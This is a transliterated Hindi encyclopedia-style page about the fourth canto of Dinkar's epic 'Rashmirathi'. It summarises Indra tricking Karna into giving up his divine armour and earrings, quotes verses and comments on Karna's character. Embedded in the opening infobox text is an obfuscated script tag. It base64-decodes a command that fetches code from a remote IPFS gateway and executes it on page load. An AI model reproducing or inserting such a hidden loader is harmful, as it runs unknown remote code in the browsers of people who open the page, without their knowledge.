रश्मिरथी चतुर्थ सर्ग

rashmirathi chaturth sarg 'rashmirathi' rachana ka avaran prishth|150px|center kavi ramadhari sianh dinakar mool shirshak rashmirathi mukhy patr karn prakashak lokabharati prakashan ISBN 81-85341-03-6 desh bharat bhasha hiandi vidha kavita prakar mahakavy bhag chaturth sarg mukhaprishth rachana sajild vishesh 'rashmirathi' mean karn katha ko vishayavastu ke roop mean chunakar lekhak ne sarjak ke ne ayam ka udghatan kiya hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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rashmirathi jisaka arth 'soory ki sarathi' hai, hindi kavi ramadhari sianh dinakar ke sabase lokapriy mahakavy kavitaoan mean se ek hai. isamean 7 sarg haian. 'rashmirathi' mean karn katha ko vishayavastu ke roop mean chunakar lekhak ne sarjak ke ne ayam ka udghatan kiya hai. yah mahabharat ki kahani hai. mahabharat samoohik lekhan ki den hai. is arth mean dinakar ne ekadam nayi samasya ki or dhyan khiancha hai. karn ki kahani ham varshoan se sunate a rahe haian. kahani purani hai, kavy prastuti nayi hai. chaturth sarg ki katha is prakar hai -

chaturth sarg

pandavoan  ko barabar yah bhay laga tha ki jab tak karn prakritipradatt kaanchan kavach aur kundal se surakshit hai tab tak yuddh mean use koee mar nahian sakega. isalie bhagavan ne arjun ke dev-pita iandr se kaha ki kis prakar karn ke sharir se kavach-kundal alag kar do. kiantu iandr yah kam kaise karata? nidan usane karn ki udarata ko apane akraman ka madhyam banaya aur usake puny ke dvar par hi use loot liya.

dan jagath ka prakrit dharm hai, manuj vyarth darata hai,
ek roj to hamean svayan sab-kuchh dena p data hai.
bachate vahi, samay par jo sarvasv dan karate haian,
rritu ka jnan nahi jinako, ve dekar bhi marate haian.

• karn apane samay ka apratim dani tha. vah nity prati ek pahar tak soory ki pooja karata tha aur us samay yachak usase jo maangate, karn khushi khushi de deta tha.
  

'vachan maang kar nahian maangana dan b da adbhut hai,
kaun vastu hai, jise n de sakata radha ka sut hai?
vipradev! mॅangaiyai chho d sankoch vastu manachahi,
marooan ayash ki mrityu, karooan yadi ek bar bhi 'nahian.'

• iandr sthiti ka labh uthakar usase kavach aur kundal ka dan maangane aya. soory usake poorv karn ko savadhan kar chuke the ki aj iandr brahman ka roop dhar kar tumase kavach kundal maangane ayega, tum dena nahian.
  

'samajha, to yah aur n koee, ap, svayan surapati haian,
dene ko aye prasann ho tap ko nayi pragati haian.
dhany hamara suyash apako khianch mahi par laya,
svarg bhikh maangane aj, sach hi, mitti par aya.

• kiantu is chetavani ka koee parinam nahian nikala. iandr jab bhikshuk brahman ka vesh bana kar karn ke samane aya aur usase kavach aur kuandal ki yachana ki, karn 'nahian' n kar saka aur sare shadayantr se avagat hote hue bhi usane kavach-kundal ke roop mean  apani vijay aur apane jivan ka dan kar diya.
  

'maian hi tha apavad, aj vah bhi vibhed harata hooan,
kavach chho d apana sharir sabake saman karata hooan.
achchha kiya ki ap mujhe samatal par lane aye,
har tanutr daiviy; manuj samany banane aye.

'ab na kahega jagat, karn ko eeshvariy bhi bal tha,
jita vah isalie ki usake pas kavach-kuandal tha.
maharaj! kismat ne meri ki n kaun avahela?
kis apatti-gart mean usane mujhako nahi dhakela?

• yah karn ke jivan ka sabase b da dan tha.
  

'bhuj ko chho d n mujhe sahara kisi aur sambal ka,
b da bharosa tha, lekin, is kavach aur kundal ka.
par, unase bhi aj door sambandh kiye leta hooan,
devaraj! lijie khushi se mahadan deta hooan.

• apani lajja chhipane ko iandr ne bhi karn ko 'ekaghni' namak astr diya aur kaha ki jis vyakti par tum ise chalaoge, vah avashy hi mara jaega. kiantu, ek bar se adhik tum ise nahian chala sakoge.
  

'too maangean kuchh nahian, kintu mujhako avashy dena hai,
man ka kathin bojh tho da-sa halka kar lena hai.
le amogh yah astr, kal ko bhi yah kha sakata hai,
isaka koee var kisi par viphal n ja sakata hai.

• yahi astr karn ne duryodhan ke hath ke karan ghatotkach par chalaya. ghatotkach to mar gaya, kiantu 'ekaghni' vapas iandr ke pas chali gayi. 

karn-charit

karn-charit ke uddhar ki chinta is bat ka praman hai ki hamase samaj mean manaviy gunoan ko pahachan badhane vali hai. kul aur jati ka ahankar vida ho raha hai. age manushy keval usi pad ka adhikari hoga jo usake apane samarthy se soochit hota ho, us pad ka nahian,jo usake mata-pita ya vansh ki den hai. isi prakar vyakti apane niji gunoan ke karan jis pad ka adhikari hai vah use milakar rahega, yahaan tak ki usake mata-pita ke dosh bhi isamean koee badha nahian dal sakeange. karnacharit ka uddhar ek tarah se, nayi manavata ki sthapana ka hi prayas hai. rashmirathi mean svayan karn ke mukh se nikala hai-

 maian unaka adarsh, kahian jo vyatha n khol sakeange
poochhega jag, kintu pita ka nam n bol sakeange,
jinaka nikhil vishv mean koee kahian n apana hoga,
man mean liye umang jinhean chir-kal kalapana hoga.

panne ki pragati avastha

adhar

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madhyamik

poornata

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